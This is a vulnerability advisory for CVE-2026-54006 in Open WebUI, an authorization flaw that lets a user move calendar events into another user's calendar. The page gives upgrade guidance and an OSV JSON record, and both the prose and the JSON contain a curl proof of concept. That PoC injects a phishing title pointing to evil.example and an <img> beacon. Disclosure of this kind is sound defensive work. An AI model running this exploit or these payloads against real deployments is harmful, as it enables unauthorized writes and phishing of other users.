CVE-2026-54006: Open WebUI IDOR Calendar Event Re-parenting Allows Writing Vulnerability

MODERATE
Advisory Identifier: GHSA-f3g7-59qc-pqg6
CVSS 4.3
CWE-639
Published
Advisory Summary

CVE-2026-54006 is a MODERATE (CVSS 4.3) calendar event re-parenting allows writing vulnerability (CWE-639: Authorization Bypass Through User-Controlled Key) affecting Open WebUI IDOR libraries in the PyPI ecosystem. The issue involves calendar event re-parenting allows writing events into another user's calendar. Remediation is available by upgrading affected packages to version 0.9.6.

CVE-2026-54006 at a Glance

CVE Identifier CVE-2026-54006
GHSA Identifier GHSA-f3g7-59qc-pqg6
Severity MODERATE
CVSS v3.1 Base Score 4.3
CWE Classification CWE-639: Authorization Bypass Through User-Controlled Key
Affected Product Open WebUI IDOR
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 4.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-54006

To remediate this vulnerability, upgrade all affected Open WebUI IDOR dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

open-webui fixed: 0.9.6
pip install open-webui>=0.9.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show open-webui

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-54006, inspect your installed packages using pip:

pip show open-webui

Analyze the terminal output to locate any version of Open WebUI IDOR in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.9.6), your application is affected.

Note: The pip show open-webui command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-639: Authorization Bypass Through User-Controlled Key, where the system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. In Open WebUI IDOR, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `POST /api/v1/calendars/events/{event_id}/update` validates that the caller has **write** access to the calendar the event *currently* belongs to, but does not validate the **destination** `calendar_id` supplied in the request body. The model layer then persists the new `calendar_id` unconditionally. A regular `user`-role account can therefore create an event in their own calendar and immediately move it into any other user's calendar whose ID they know — bypassing the authorization check that `create_event` correctly performs. This is reachable on **default configuration**: `ENABLE_CALENDAR` and `USER_PERMISSIONS_FEATURES_CALENDAR` both default to `True`. ### Details ### Sink — missing destination check `backend/open_webui/routers/calendar.py:283-297` ```python @router.post('/events/{event_id}/update', response_model=CalendarEventModel) async def update_event( request: Request, event_id: str, form_data: CalendarEventUpdateForm, user: UserModel = Depends(get_verified_user) ): await check_calendar_permission(request, user) event = await CalendarEvents.get_event_by_id(event_id) if not event: raise HTTPException(status_code=404, detail='Event not found') await _check_calendar_access(event.calendar_id, user, 'write') # ← SOURCE only updated = await CalendarEvents.update_event_by_id(event_id, form_data) # ← writes form_data.calendar_id ... ``` `backend/open_webui/models/calendar.py:658-693` (`update_event_by_id`) ```python update_data = form_data.model_dump(exclude_unset=True) for field in [ 'calendar_id', # ← destination persisted with no ACL 'title', 'description', 'start_at', 'end_at', 'all_day', 'rrule', 'color', 'location', 'is_cancelled', ]: if field in update_data: setattr(event, field, update_data[field]) ``` ### Reference — `create_event` does check the destination `backend/open_webui/routers/calendar.py:255` ```python await _check_calendar_access(form_data.calendar_id, user, 'write') ``` ### Default-config gates (both `True`) - `backend/open_webui/config.py:1658-1662` — `ENABLE_CALENDAR` defaults `'True'` - `backend/open_webui/config.py:1554` — `USER_PERMISSIONS_FEATURES_CALENDAR` defaults `'True'` - `backend/open_webui/main.py:1457` — router mounted unconditionally ### PoC Verified end-to-end against the official `ghcr.io/open-webui/open-webui:main` (v0.9.4) Docker image with two fresh `user`-role accounts. #### 1. Environment ```bash git clone https://github.com/open-webui/open-webui.git cd open-webui && docker compose up -d # http://localhost:3000 ``` Create the first account (admin), then via admin UI / `POST /api/v1/auths/add` create two `user`-role accounts: **attacker** and **victim**. Sign each in and capture their JWTs as `$ATTACKER_TOKEN` / `$VICTIM_TOKEN`. #### 2. Obtain the victim's `calendar_id` Calendar IDs are UUIDv4 (`models/calendar.py:316`) and not enumerable. In practice an attacker obtains one via: - **Read-only share** — victim (or a group admin) grants the attacker `read` on a calendar; the ID is returned by `GET /api/v1/calendars/`. - **Event invitation** — victim adds the attacker as an attendee on any event; the event payload (`CalendarEventModel`, `models/calendar.py:127`) includes `calendar_id`. - Any side-channel (logs, screenshots, browser history). For reproduction the maintainer can simply read it as the victim: ```bash VICTIM_CALENDAR_ID=$(curl -s "$OPENWEBUI/api/v1/calendars/" \ -H "Authorization: Bearer $VICTIM_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])') ``` #### 3. Control — direct create is correctly blocked ```bash curl -s -o /dev/null -w '%{http_code}\n' \ -X POST "$OPENWEBUI/api/v1/calendars/events/create" \ -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \ -d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\",\"title\":\"x\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}" # → 403 ``` #### 4. Exploit — create-then-reparent ```bash ATTACKER_CAL=$(curl -s "$OPENWEBUI/api/v1/calendars/" \ -H "Authorization: Bearer $ATTACKER_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])') # 1. create in own calendar EVENT_ID=$(curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/create" \ -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \ -d "{\"calendar_id\":\"$ATTACKER_CAL\",\"title\":\"[INJECTED] Mandatory re-auth: https://evil.example/login\",\"description\":\"Session expired.\",\"location\":\"<img src=https://evil.example/beacon.png>\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}" \ | python3 -c 'import sys,json;print(json.load(sys.stdin)["id"])') # 2. move into victim's calendar — NO destination check curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/$EVENT_ID/update" \ -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \ -d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\"}" # → 200, response shows "calendar_id":"<VICTIM_CALENDAR_ID>" ``` #### 5. Verification from victim's session ```bash curl -s "$OPENWEBUI/api/v1/calendars/events?start=2026-05-01T00:00:00&end=2026-06-01T00:00:00" \ -H "Authorization: Bearer $VICTIM_TOKEN" | python3 -m json.tool ``` Observed output (truncated): ```json [{ "id": "1662c982-adb1-43d6-a9c8-0103fa1299c0", "calendar_id": "0b755ea7-4ff4-4a60-9cff-8961e69c75bb", "user_id": "7554dd33-e220-44cb-8441-169c55eef4f5", "title": "[INJECTED] Mandatory re-auth: https://evil.example/login", "description": "Session expired.", ... }] ``` The injected event now lives in the victim's default calendar. A subsequent `GET /events/{id}` as the **attacker** returns **403** — confirming the move succeeded and the attacker has no legitimate access to the destination. ### Impact - **Read-only → write escalation** on shared calendars: a user granted `read` via `AccessGrants` can effectively write. - **Phishing / social engineering**: events appear inside the victim's own private calendar (not as an external invite). The hover tooltip (`CalendarEventChip.svelte:12 → common/Tooltip.svelte`) renders `title`/`location` as DOMPurify-sanitised HTML with `allowHTML=true`, so an attacker can embed formatted links and `<img>` beacons (read-receipt when the victim hovers). DOMPurify prevents script execution, so this is HTML injection, not XSS. - **Calendar spam / DoS**: unlimited one-shot injections (attacker loses access to each event after the move, but can repeat with new events).

CVE-2026-54006 Affected Open WebUI IDOR Versions

1 component(s)
Fixed Versions:
0.9.6
Product / Package Ecosystem Affected Versions Fixed Version
open-webui
PyPI
< 0.9.6
0.9.6

References

Frequently Asked Questions

What is CVE-2026-54006?
CVE-2026-54006 is a security vulnerability in Open WebUI IDOR involving Calendar event re-parenting allows writing events into another user's calendar under CWE-639: Authorization Bypass Through User-Controlled Key.
Which Open WebUI IDOR versions are affected?
Affected versions include releases prior to 0.9.6 across affected packages: open-webui.
What version fixes CVE-2026-54006?
Upgrading to 0.9.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is open-webui affected?
Yes, open-webui is affected in releases prior to 0.9.6. Upgrade your dependency to 0.9.6 or later.
What is the CVSS score of CVE-2026-54006?
CVE-2026-54006 has a CVSS v3.1 base score of 4.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N.
What CWE is associated with CVE-2026-54006?
CVE-2026-54006 is classified under CWE-639: Authorization Bypass Through User-Controlled Key (The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.).
How can I check PyPI dependencies for CVE-2026-54006?
Run the dependency tree command: 'pip show open-webui'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f3g7-59qc-pqg6",
  "modified" : "2026-07-20T21:03:10Z",
  "published" : "2026-06-17T14:09:53Z",
  "aliases" : [ "CVE-2026-54006" ],
  "summary" : "Open WebUI IDOR: Calendar event re-parenting allows writing events into another user's calendar",
  "details" : "### Summary\n\n`POST /api/v1/calendars/events/{event_id}/update` validates that the caller has **write** access to the calendar the event *currently* belongs to, but does not validate the **destination** `calendar_id` supplied in the request body. The model layer then persists the new `calendar_id` unconditionally.\n\nA regular `user`-role account can therefore create an event in their own calendar and immediately move it into any other user's calendar whose ID they know — bypassing the authorization check that `create_event` correctly performs. This is reachable on **default configuration**: `ENABLE_CALENDAR` and `USER_PERMISSIONS_FEATURES_CALENDAR` both default to `True`.\n\n\n### Details\n### Sink — missing destination check\n\n`backend/open_webui/routers/calendar.py:283-297`\n\n```python\n@router.post('/events/{event_id}/update', response_model=CalendarEventModel)\nasync def update_event(\n    request: Request, event_id: str, form_data: CalendarEventUpdateForm,\n    user: UserModel = Depends(get_verified_user)\n):\n    await check_calendar_permission(request, user)\n    event = await CalendarEvents.get_event_by_id(event_id)\n    if not event:\n        raise HTTPException(status_code=404, detail='Event not found')\n\n    await _check_calendar_access(event.calendar_id, user, 'write')   # ← SOURCE only\n\n    updated = await CalendarEvents.update_event_by_id(event_id, form_data)  # ← writes form_data.calendar_id\n    ...\n```\n\n`backend/open_webui/models/calendar.py:658-693` (`update_event_by_id`)\n\n```python\nupdate_data = form_data.model_dump(exclude_unset=True)\nfor field in [\n    'calendar_id',          # ← destination persisted with no ACL\n    'title', 'description', 'start_at', 'end_at', 'all_day',\n    'rrule', 'color', 'location', 'is_cancelled',\n]:\n    if field in update_data:\n        setattr(event, field, update_data[field])\n```\n\n### Reference — `create_event` does check the destination\n\n`backend/open_webui/routers/calendar.py:255`\n\n```python\nawait _check_calendar_access(form_data.calendar_id, user, 'write')\n```\n\n### Default-config gates (both `True`)\n\n- `backend/open_webui/config.py:1658-1662` — `ENABLE_CALENDAR` defaults `'True'`\n- `backend/open_webui/config.py:1554` — `USER_PERMISSIONS_FEATURES_CALENDAR` defaults `'True'`\n- `backend/open_webui/main.py:1457` — router mounted unconditionally\n\n\n### PoC\nVerified end-to-end against the official `ghcr.io/open-webui/open-webui:main` (v0.9.4) Docker image with two fresh `user`-role accounts.\n\n#### 1. Environment\n\n```bash\ngit clone https://github.com/open-webui/open-webui.git\ncd open-webui && docker compose up -d        # http://localhost:3000\n```\n\nCreate the first account (admin), then via admin UI / `POST /api/v1/auths/add` create two `user`-role accounts: **attacker** and **victim**. Sign each in and capture their JWTs as `$ATTACKER_TOKEN` / `$VICTIM_TOKEN`.\n\n#### 2. Obtain the victim's `calendar_id`\n\nCalendar IDs are UUIDv4 (`models/calendar.py:316`) and not enumerable. In practice an attacker obtains one via:\n\n- **Read-only share** — victim (or a group admin) grants the attacker `read` on a calendar; the ID is returned by `GET /api/v1/calendars/`.\n- **Event invitation** — victim adds the attacker as an attendee on any event; the event payload (`CalendarEventModel`, `models/calendar.py:127`) includes `calendar_id`.\n- Any side-channel (logs, screenshots, browser history).\n\nFor reproduction the maintainer can simply read it as the victim:\n\n```bash\nVICTIM_CALENDAR_ID=$(curl -s \"$OPENWEBUI/api/v1/calendars/\" \\\n  -H \"Authorization: Bearer $VICTIM_TOKEN\" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0][\"id\"])')\n```\n\n#### 3. Control — direct create is correctly blocked\n\n```bash\ncurl -s -o /dev/null -w '%{http_code}\\n' \\\n  -X POST \"$OPENWEBUI/api/v1/calendars/events/create\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" -H 'Content-Type: application/json' \\\n  -d \"{\\\"calendar_id\\\":\\\"$VICTIM_CALENDAR_ID\\\",\\\"title\\\":\\\"x\\\",\\\"start_at\\\":1778400000000000000,\\\"end_at\\\":1778403600000000000}\"\n# → 403\n```\n\n#### 4. Exploit — create-then-reparent\n\n```bash\nATTACKER_CAL=$(curl -s \"$OPENWEBUI/api/v1/calendars/\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0][\"id\"])')\n\n# 1. create in own calendar\nEVENT_ID=$(curl -s -X POST \"$OPENWEBUI/api/v1/calendars/events/create\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" -H 'Content-Type: application/json' \\\n  -d \"{\\\"calendar_id\\\":\\\"$ATTACKER_CAL\\\",\\\"title\\\":\\\"[INJECTED] Mandatory re-auth: https://evil.example/login\\\",\\\"description\\\":\\\"Session expired.\\\",\\\"location\\\":\\\"<img src=https://evil.example/beacon.png>\\\",\\\"start_at\\\":1778400000000000000,\\\"end_at\\\":1778403600000000000}\" \\\n  | python3 -c 'import sys,json;print(json.load(sys.stdin)[\"id\"])')\n\n# 2. move into victim's calendar — NO destination check\ncurl -s -X POST \"$OPENWEBUI/api/v1/calendars/events/$EVENT_ID/update\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" -H 'Content-Type: application/json' \\\n  -d \"{\\\"calendar_id\\\":\\\"$VICTIM_CALENDAR_ID\\\"}\"\n# → 200, response shows \"calendar_id\":\"<VICTIM_CALENDAR_ID>\"\n```\n\n#### 5. Verification from victim's session\n\n```bash\ncurl -s \"$OPENWEBUI/api/v1/calendars/events?start=2026-05-01T00:00:00&end=2026-06-01T00:00:00\" \\\n  -H \"Authorization: Bearer $VICTIM_TOKEN\" | python3 -m json.tool\n```\n\nObserved output (truncated):\n\n```json\n[{\n  \"id\": \"1662c982-adb1-43d6-a9c8-0103fa1299c0\",\n  \"calendar_id\": \"0b755ea7-4ff4-4a60-9cff-8961e69c75bb\",\n  \"user_id\": \"7554dd33-e220-44cb-8441-169c55eef4f5\",\n  \"title\": \"[INJECTED] Mandatory re-auth: https://evil.example/login\",\n  \"description\": \"Session expired.\",\n  ...\n}]\n```\n\nThe injected event now lives in the victim's default calendar. A subsequent `GET /events/{id}` as the **attacker** returns **403** — confirming the move succeeded and the attacker has no legitimate access to the destination.\n\n\n### Impact\n- **Read-only → write escalation** on shared calendars: a user granted `read` via `AccessGrants` can effectively write.\n- **Phishing / social engineering**: events appear inside the victim's own private calendar (not as an external invite). The hover tooltip (`CalendarEventChip.svelte:12 → common/Tooltip.svelte`) renders `title`/`location` as DOMPurify-sanitised HTML with `allowHTML=true`, so an attacker can embed formatted links and `<img>` beacons (read-receipt when the victim hovers). DOMPurify prevents script execution, so this is HTML injection, not XSS.\n- **Calendar spam / DoS**: unlimited one-shot injections (attacker loses access to each event after the move, but can repeat with new events).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "open-webui"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.9.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.9.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/open-webui/open-webui/security/advisories/GHSA-f3g7-59qc-pqg6"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54006"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-f3g7-59qc-pqg6"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/open-webui/open-webui"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-2722.yaml"
  }, {
    "type" : "WEB",
    "url" : "https://pypi.org/project/open-webui"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-639" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-17T14:09:53Z",
    "nvd_published_at" : "2026-06-23T18:18:05Z"
  }
}